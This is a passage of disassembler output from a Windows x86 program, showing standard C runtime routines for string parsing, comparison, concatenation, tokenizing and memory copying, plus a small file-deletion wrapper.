loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D084, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D084, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE78 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDDC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] call dword_427088 ; DeleteFileA test eax, eax jnz short loc_41C7D2 call dword_427094 ; RtlGetLastWin32Error jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; sub_41E52A+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CB15 mov edx, dword_4DBE28 loc_41CB15: ; CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j ; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE28, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: .packed:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: 